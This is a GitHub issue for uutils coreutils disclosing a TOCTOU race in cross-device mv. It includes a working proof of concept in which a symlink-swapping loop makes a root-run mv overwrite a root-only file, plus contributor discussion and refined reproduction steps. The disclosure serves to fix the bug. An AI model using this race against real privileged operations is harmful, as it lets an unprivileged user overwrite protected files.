New issue

# mv copy TOCTOU Race #10015

Open

Labels U - mv good first issue reported-canonical

sylvestre opened on Jan 3 · edited by sylvestre Edits Contributor

## Component

mv

## Description

uutils mv has a race window between destination removal and re-creation during cross-device moves.

- GNU: copy(src -> dest) (open/truncate) -> remove(src) — no separate unlink of dest
- uutils: remove(dest) -> copy(src -> dest) -> remove(src)

## Test / Reproduction Steps

Test with directories from two different file systems (varies depending on the specific environment; /tmp and /home are used here as examples). :

```
# source file, which will be "mv"
echo "PAYLOAD_FROM_SRC" > /tmp/src_file
```

```
# pseudo-sensitive files, only root can read/write
mkdir -p /home/$USER/secure
echo "ORIGINAL_SECRET" > /home/$USER/secure/victim
chmod 600 /home/$USER/secure/victim
sudo chown root:root /home/$USER/secure/victim
```

```
# target file to "mv" to
echo "PLACEHOLDER" > /home/$USER/target
```

user script(symlink.sh):

```
#!/bin/bash

while true; do
  ln -sf /home/$USER/secure/victim /home/$USER/target
done
```

root script(mv.sh):

```
#!/bin/bash

while true; do
  echo "PAYLOAD_FROM_SRC" > /tmp/src_file
  ./target/release/coreutils mv /tmp/src_file /home/$USER/target 2>/dev/null
done
```

reproduce:

```
chmod +x symlink.sh
chmod +x mv.sh
./symlink.sh
sudo ./mv.sh
```

After a while....

```
$ sudo cat /home/$USER/secure/victim
PAYLOAD_FROM_SRC
```


**sylvestre** added **U - mv** **good first issue** on Jan 3


**sylvestre** added **reported-canonical** on Jan 17

reubenwong97 on Feb 3 Contributor

Hi! If this issue is still active, I'd like to work on it.

hlsxx on Feb 6 Contributor

Couldn't reproduce the problem

reubenwong97 on Feb 6 Contributor

**@hlsxx** ,
Are you doing this on different file systems? `df -h <dir>` must show something different I believe.

hlsxx on Feb 6 Contributor

**@reubenwong97** sure, I have tried home as `ext4` and tmp as `tmpfs`.

ziling-zellic 2 days ago · edited by ziling-zellic Edits

**@hlsxx** **@reubenwong97** Hi! I suspect that some details in my reproduction steps were not clearly described, leading to discrepancies during reproduction. According to my tests, this issue still persists on the latest branch. Below is a more detailed and stable reproduction procedure.

Test OS: `Ubuntu 22.04`
Test commit: `34fd4beac3d790d7215115a1e13bb290efb53b02`

Here are the reproduction steps (an example using `/tmp` and `/home` on different file systems),

```
# Source file on filesystem A
echo "PAYLOAD_FROM_SRC" > /tmp/src_file

# Victim file on filesystem B, readable/writable only by root
mkdir -p /home/$USER/secure
echo "ORIGINAL_SECRET" > /home/$USER/secure/victim
chmod 600 /home/$USER/secure/victim
sudo chown root:root /home/$USER/secure/victim

# Initial destination path (attacker-writable)
echo "PLACEHOLDER" > /home/$USER/target
```

the `symlink.sh`:

```
while true; do
  ln -sf /home/$USER/secure/victim /home/$USER/target
```

```
done
```

and the `mv.sh` (Please note to modify the following `coreutils` path):

```
while true; do
  echo "PAYLOAD_FROM_SRC" > /tmp/src_file
  sudo /path/to/coreutils mv /tmp/src_file /home/$USER/target
done
```

First run `symlink.sh` in one terminal. Then open another terminal to execute `mv.sh`. You will need to enter the root password for `mv.sh` to simulate root-user cross-filesystem `mv` operations.

```
chmod +x symlink.sh
chmod +x mv.sh

# Terminal 1
./symlink.sh

# Terminal 2
./mv.sh
```

After a short time,

```
$ sudo cat /home/$USER/secure/victim
PAYLOAD_FROM_SRC
```

Note that this case uses `/tmp` and `/home`. Please adjust according to your actual environment to adopt directories from two different filesystems.

By comparison, when running `mv.sh` with `GNU mv`, an error occurs: `mv: cannot create regular file '/home/test/target': File exists`. Meanwhile, the content of the `/home/$USER/secure/victim` file remains unchanged.

Please let me know if you have any questions!



## Metadata

**Assignees**

No one assigned

**Labels**

U - mv good first issue reported-canonical

**Type**

No type

**Projects**

No projects

**Milestone**

No milestone

**Relationships**

None yet

**Development**

No branches or pull requests

**Participants**